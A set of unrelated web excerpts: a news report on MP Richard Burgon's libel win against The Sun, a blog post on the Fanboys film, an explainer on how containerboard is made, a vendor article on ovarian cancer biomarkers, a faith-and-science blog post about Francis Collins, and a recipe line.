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RICHARD BURGON was left "delighted" after winning £30,000 damages in his libel case against The Sun today over claims that a heavy metal band he performed with used nazi imagery.
An image tweeted by the band Dream Troll used an "S" that appeared to be similar to the logo of the notorious nazi paramilitary organisation the Schutzstaffel (SS).
Mr Burgon, the Labour MP for Leeds East, said the image was a "spoof" of Black Sabbath's 1975 album We Sold Our Soul for Rock 'n' Roll.
Giving judgment at the High Court in London today, Mr Justice Dingemans ruled in Mr Burgon's favour on his claim for libel, awarding him damages and an injunction to prevent further publication of the article.
Following the ruling, Mr Burgon tweeted: "Delighted to have won my High Court case against The Sun.
"Their slur attempting to link me to 'nazi symbols' was held to be false and defamatory.
A spokesman for The Sun said the newspaper was "deeply disappointed" and would appeal against the ruling.
He submitted that The Sun had "manufactured a knowingly false and misleading story" by "doctoring the image published by the band" by removing the hashtag "#blacksabbath" which accompanied the tweet.


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This week, a new trailer and poster for Fanboys hit the internet and it looks like the film will be tons of fun.
Cinematical premiered the brand new poster (as seen on the left) and you can easily see the resemblance to the poster from The 40-Year-Old Virgin. It looks like they're trying to market the film as an Apatow-style comedy and rightfully so since the cast features many familiar faces from the Apatow crew.
For a higher resolution version of the poster, check out the exclusive at Cinematical.
The Fanboys cast features Sam Huntington, Chris Marquette, Dan Fogler, Jay Baruchel and Kristen Bell as the leads playing the group of friends. There are also plenty of stars making cameos throughout the film. Some of the notable guest appearances include William Shatner, Kevin Smith, Seth Rogan, Carrie Fisher, Billy Dee Williams and my personal favorite; Ray Park.
Fanboys is a comedy set in 1998 prior to the release of the long-awaited Star Wars Episode I: The Phantom Menace. The story follows a group of friends on a mission to break into Skywalker Ranch to see the film early. Why? Well, in the original plot for the film, one of the friends is diagnosed with cancer and is not expected to live long enough to see Ep.1 in theatres.
Without going into too much detail, the film was originally supposed to be released last August but upon receiving more funding, the date was pushed back to this January so they could shoot some additional scenes with the increased budget. Getting the increasingly-popular cast members back together for shooting caused more delays and they were not able to re-shoot until the end of 2007.
The re-shoots were directed by a different director than the one who did the principal photography and news started hitting the net that the film was being re-edited to take out the cancer storyline and instead include more vulgar humor. This caused a firestorm from fans on the internet to the point where protests were organized, mass-mailings to the Weinstein Company, etc. All of this, to save the heart of the story out of fear the movie would be ruined without its true emotional storyline and turned into a "mindless comedy" as said by a loyal fan in a letter to Ain't It Cool News.
Long story short, two cuts of the film were made and both were test-screened to see which came out on top. In the end, the heart-felt cancer storyline won since it was included in the first completed cut of the film at Star Wars Celebration Europe last summer and in the final cut of the film shown at this year's San Diego Comic-Con.
I thought the trailer was pretty funny, although some of the scenes were a bit too corny. I am definitely looking forward to seeing this film finally make it to the big screen (in its proper form) and I hope most movie-goers do too. The continuous delays may actually help in the long run, since most of the actors have been featured in a variety of popular movies since this project began which will help increase the profile of the flick.
Barring any more delays, Fanboys will hit theaters February 9th, 2009.


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Containerboard is the material used to make corrugated boxes – commonly known as cardboard. It is the most frequently used packaging material because it is versatile, lightweight, strong and made from a renewable resource. It is also the single most-recycled packaging material: in 2017, 88.8 percent of corrugated containers were recovered for recycling. More than half of recovered fiber used in manufacturing paper and paperboard in the U.S. goes into making containerboard.1
What is Containerboard?
Walls of corrugated boxes made with containerboard consist of two main parts: linerboard (or facing) and corrugated medium (fluted paper). The flutes in the corrugated medium form a series of connecting arches. An arch with a certain curve can support many times its own weight, especially when the ends of the arch are anchored. In corrugated containers, they are anchored to a facing. A vertical sheet of linerboard, used as the skin or facing, can support a weight greater than itself if it is held in place. Most linerboard is produced using softwoods, which have the longest fibers, and produce the strongest paperboard. The fluted corrugating material helps it stay in place, while the facing, in turn, protects the flutes from damage.
What Kinds of Products Are Made from Containerboard?
Containerboard is primarily used to make packaging. Boxes made from containerboard range in strength based on the combination of linerboard and medium. For example:
Single wall: two sheets of linerboard with corrugated medium in the middle
Double wall: three sheets of linerboard with two corrugated mediums in between them
Triple wall: four sheets of linerboard with three corrugated mediums in between them
Boxes are used to protect, store and transport a variety of goods – from the items you buy online that arrive on your doorstep to bulk produce delivered to your local grocery to large and fragile items such as televisions and appliances.
The first use of corrugated paper for packaging came in 1871, when an American, Albert Jones, introduced an idea of wrapping bottles and glass chimneys in it. It was the addition of a liner to one and then to the other side of corrugated paper that signaled the birth of corrugated boxes.
Why Use Containerboard?
Containerboard is Strong
Corrugated is designed to be stacked, to withstand top and side pressure and is crush resistant. It is impact-, drop- and vibration damage-resistant, and can be customized for added protection. It is lightweight while having a high strength-to-weight ratio. Packaging can be designed to move bulk products, ship individually packaged liquids or even transport hazardous materials.
Containerboard is Convenient
Corrugated containers are relatively lightweight and they can be broken down for easy transport. Moreover, containerboard can be cut and folded into an infinite variety of shapes to ensure a product is uniquely presented but also protected. Branding can be directly applied to the surface of containerboard. It is also cost-effective as the overall cost of using corrugated for shipping is a small portion of the value of the goods being shipped.
Containerboard is Sustainable
Corrugated containers are made from a renewable resource – recovered paper and trees that are replanted to ensure a sustainable supply. The U.S. grows more wood than it harvests. There are 20 percent more tress in the U.S. now than there were in 1970. According to the U.S. Environmental Protection Agency (EPA), paper and paperboard packaging, which includes containerboard, accounts for nearly three-quarters of packaging materials recovered for recycling in the U.S. That is more than any other packaging material.
How is Containerboard Made?
The first step in the process is to make pulp. Pulp can be made from either virgin fiber, which are wood chips, or from recycled paper products.
Wood chips (virgin fiber) are cooked using a chemical process in essentially a pressure cooker known as a digester. The wood fiber is separated into cellulose fibers, lignin (the wood glue that holds the tree together) and other substances such as sugars. Cellulose is an essential building block in the cell walls of trees and plants, helping to make them strong. The pulp is then washed to clean it and separate it further from the other tree components. After the pulp is washed, it is screened for further cleaning.
For mills using recycled materials, pulp is made by mixing the recovered fiber with water in what resembles a large blender called a repulper. In the repulper, the pulp is separated to create individual fibers in a slurry. From there, the pulp is washed and screened to further separate the fiber from other debris like dirt.
The pulp, which maintains its natural brown color, then needs to be formed into a sheet by the paper machine. At the wet end of the paper machine, the pulp flows onto a moving endless belt with a screen to filter out water and form a web. Further down the line, in the press section, the pulp, which looks like a brown sheet, goes through several presses to further remove excess water. At this point the web of material still must shed water, so it passes into a dryer. The dryer is a large cylinder and uses steam to dry the pulp. The wet web of pulp is pressed against the cylinder tightly to dry it through evaporation, providing a consistent thickness prior to the paper being processed into a giant roll. Paper formed in this process can now be used as the inner and outer liners on a corrugated box.
Next, the rolls of paperboard are shipped to a converting facility, so they can be made into boxes. The flutes are manufactured in a corrugator machine and glues the tips of the flutes to the linerboard. Corrugated medium is fed into the corrugator and the rollers heat the paper to a specific temperature. Then the medium is fed into the single facer, which creates the arches of the flute and adds a starch-based glue on one side of the tips of the flute. The flute is glued onto the inner liner. Next, the outer liner is glued, and the paper is heated so the glue bonds securely. This process is altered based on the wall size of the corrugated container, meaning if it is single, double or triple walled in addition to the size of the flute. After the inner and outer liners are glued to the flute, the product is cut to specification based on the order.
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Epithelial ovarian cancer (EOC) is the most aggressive form of the gynecological cancer types and is the fourth most common cause of female cancer death in developed countries (1). The ovary is a complex tissue, and although ovarian cancers can originate from germ cells or granulosa-theca cells, most ovarian cancers have an epithelial histology.
EOC can be found in women at any age. However, it is most common in women over the age of 50. Unfortunately, the disease is mainly diagnosed at an advanced stage due to a lack of early biomarkers and confusing clinical pathology. Treatment of EOC is mainly based on a combination of surgery with chemotherapy. The survival rate, however, is poor, at <5 years (2). Early diagnosis is therefore fundamental to achieving a higher cure rate.
Schema of the ovary showing the histopathological types of ovarian cancer. Epithelial ovarian cancer is the most common cause.
Several putative tumor suppressor genes and well-established oncogenes have been identified in the development of ovarian cancer.
Broadly, all EOC patients have mutations in the p53 (10442-1-AP) gene (3), (4) and loss of functional p53 protein is crucial for a cell. The TP53 (21891-1-AP) gene encodes a transcription factor that plays a critical role in regulating cell cycle progression, DNA repair, or cell death.(5), (6).
WT1 is normally required for formation of the genitourinary system and mesothelial tissues. Recently, it was also demonstrated that the well-known heatshock protein 90 (Hsp90) is a novel target protein in ovarian cancer. Hsp90 (13171-1-AP) provides chaperoning activity for different proteins; many of these are members of oncogenic pathways. In ovarian cancer, inhibition of Hsp90 has been shown to have anti-proliferative effects (8), (9), (10); however, the exact molecular mechanism remains unclear.
Due to the heterogeneity of ovarian cancer, it is of high importance to characterize and identify the different abnormalities present in ovarian cancer.
Despite the intensive use of conventional methods to detect ovarian cancer progression, ovarian cancer remains a commonly fatal gynecological disease. The current challenge is to detect ovarian cancer at an early stage. Effective screening methods have so far failed due to a lack of specificity and sensitivity. Biomarkers for precise detection of ovarian cancer are greatly needed to monitor and understand details of ovarian cancer tumorigenesis.
The latest studies report that HE4 (14406-1-AP) can be referred as a biomarker for ovarian carcinoma.11 HE4 is expressed in a number of normal tissues, and it is also highly expressed in a number of tumor cell lines.
Metastasis to the peritoneal surface requires the adhesion of ovarian cancer cells to the mesothelial cells. Epithelial cell-adhesion molecule (EpCAM, CD326, 21050-1- AP) functions as an epithelial-specific intercellular cell-adhesion molecule.(12), (13) It is of special interest as a potential diagnostic and prognostic marker for ovarian cancer.
IHC of paraffin-embedded human ovary tumor using 60261-1-Ig (MUC16,CA125 antibody) at dilution of 1:50 (10x lens).
The paired box 8 (PAX8) gene is a transcription factor expressed during organogenesis of the thyroid gland, kidney, and Müllerian ducts. PAX8 belongs to a family of 9 proteins (PAX1-PAX9) where each member is directly implicated in the transcription of various genes, PAX members typically containing a paired box domain and a paired-type homeodomain. PAX8 is expressed in a high percentage of ovarian serous, endometrioid, and clearcell carcinomas, but only rarely in primary ovarian mucinous adenocarcinomas. In this setting, PAX8 is also a useful marker for distinguishing ovarian carcinomas from those of mammary origin, and is shown to be significant in many more forms of cancer.
It is thought to regulate the expression of Wilms tumour suppressor (WT1) gene and mutations in PAX8 have been associated with Wilms tumour cells, thyroid and ovarian carcinomas. Research continues to shed light on its diagnostic value. Differentiating metastatic female genital tract tumours from primary ovarian tumours is one of the most important issues in this field. Recent evidence supports the utility of PAX8 factor, especially in determining Müllerian tumours. Differentiation of ovarian metastatic tumours (especially with breast origin) from primary ovarian tumours can also be performed based on this IHC staining. The molecular mechanism of PAX8 in the carcinogenesis up to now remains unclear and requires further studies.
Immunohistochemical of paraffin-embedded human ovary tumor using 10336-1-AP (PAX8 antibody) at dilution of 1:50 (10x lens). Immunohistochemical of paraffin-embedded human ovary tumor using 10336-1-AP (PAX8 antibody) at dilution of 1:50 (40x lens).
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2 Jayson GC, et al., Ovarian cancer. Lancet. 2014; 384: 1376–1388.
4. D'Souza S, et al., The gene encoding p202, an interferon-inducible negative regulator of the p53 tumour suppressor, is a target of p53-mediated transcriptional repression. J Biol Chem. 2001;276:298–305.
5 Berchuck A, et al. Overexpression of p53 is not a feature of benign and early-stage borderline epithelial ovarian tumors. Gynecol. Oncol 1994;52:232–236.
7 Hylander B, et al., Expression of Wilms tumor gene (WT1) in epithelial ovarian cancer, Gynecol Oncol. 2006 Apr;101(1):12-7.
8 Banerji U, et al., Pharmacokineticpharmacodynamic relationships for the heat shock protein 90 molecular chaperone inhibitor 17-allylamino, 17-demethoxygeldanamycin in human ovarian cancer xenograft models. Clin Cancer Res. 2005;11:7023–7032.
9 Sain N, et al., Potentiation of paclitaxel activity by the HSP90 inhibitor 17-allylamino-17-demethoxygeldanamycin in human ovarian carcinoma cell lines with high levels of activated AKT. Mol Cancer Ther. 2006;5:1197–1208.
10 Maloney A, et al., Gene and protein expression profiling of human ovarian cancer cells treated with the heat shock protein 90 inhibitor 17-allylamino- 17-demethoxygeldanamycin. Cancer Res. 2007;67:3239–3253.
11 Molina R., et al., HE4 a novel tumour marker for ovarian cancer: comparison with CA 125 and ROMA algorithm in patients with gynaecological diseases. Tumour Biol. 2011 Dec;32(6):1087-95.
12 Montagnana M., et al., HE4 in ovarian cancer: from discovery to clinical application. Adv Clin Chem. 2011;55:1-20.
13 Lee M., et al. Prognostic impact of epithelial cell adhesion molecule in ovarian cancer patients, J Gynecol Oncol. 2014 Oct; 25(4): 352–354.
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15 Song G., et al., Osteopontin promotes ovarian cancer progression and cell survival and increases HIF-1alpha expression through the PI3-K/Akt pathway. Cancer Sci. 2008 Oct;99(10):1901-7.
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18 Burke WM, et al. Inhibition of constitutively active Stat3 suppresses growth of human ovarian and breast cancer cells. Oncogene 2001; 20:7925–7934.
19 YG, et al. Curcumin inhibits tumor growth and angiogenesis in ovarian carcinoma by targeting the nuclear factor-κB pathway. Clin. Cancer Res 2007;13:3423–3430.
20 Samanta AK, et al., Overexpression of MEKK3 confers resistance to apoptosis through activation of NF κB. J. Biol. Chem 2004;279:7576–7583.
21 Sood AK, et al. Stress hormone-mediated invasion of ovarian cancer cells. Clin. Cancer Res 2006;15:369–375.
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Francis Collins on being a man of science and faith
Josh Larsen • April 14, 2015
Excerpts of a National Geographic interview with Francis Collins, the Christian director of the National Institutes of Health.
National Geographic usually likes to stay above the fray, but the magazine dipped its toes into the faith-science debate with a March cover story entitled "Why Do Many Reasonable People Doubt Science?" Encouragingly, part of that package was a brief interview with Francis Collins, a Christian and director of the National Institutes of Health.
It's a fairly surface-level conversation, but it does allow Collins to stake out a space for Christians who see science as an invaluable tool for understanding God's creation. Here are some excerpts:
On the compatibility of science and religion: "I am privileged to be somebody who tries to understand nature using the tools of science. But it is also clear that there are some really important questions that science cannot really answer, such as: Why is there something instead of nothing? Why are we here? In those domains I have found that faith provides a better path to answers."
On the ways the tension between faith and science is overblown: "Extreme cartoons representing antagonistic perspectives on either end of the spectrum are often the ones that get attention, but most people live somewhere in the middle."
On the universe as miracle: "At the most fundamental level, it's a miracle that there's a universe at all. It's a miracle that it has order, fine-tuning that allows the possibility of complexity, and laws that follow precise mathematical formulas."
At TC, we've previously written about Collins' faith-and-science reading list. You can read the full National Geographic interview with him here.
Topics: Culture At Large, Science & Technology, Science, Theology & The Church, Faith
Josh Larsen is editor of Think Christian.
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Heat the butter with the oil in a frying pan and cook the bacon, onion and garlic until the onions have softened.
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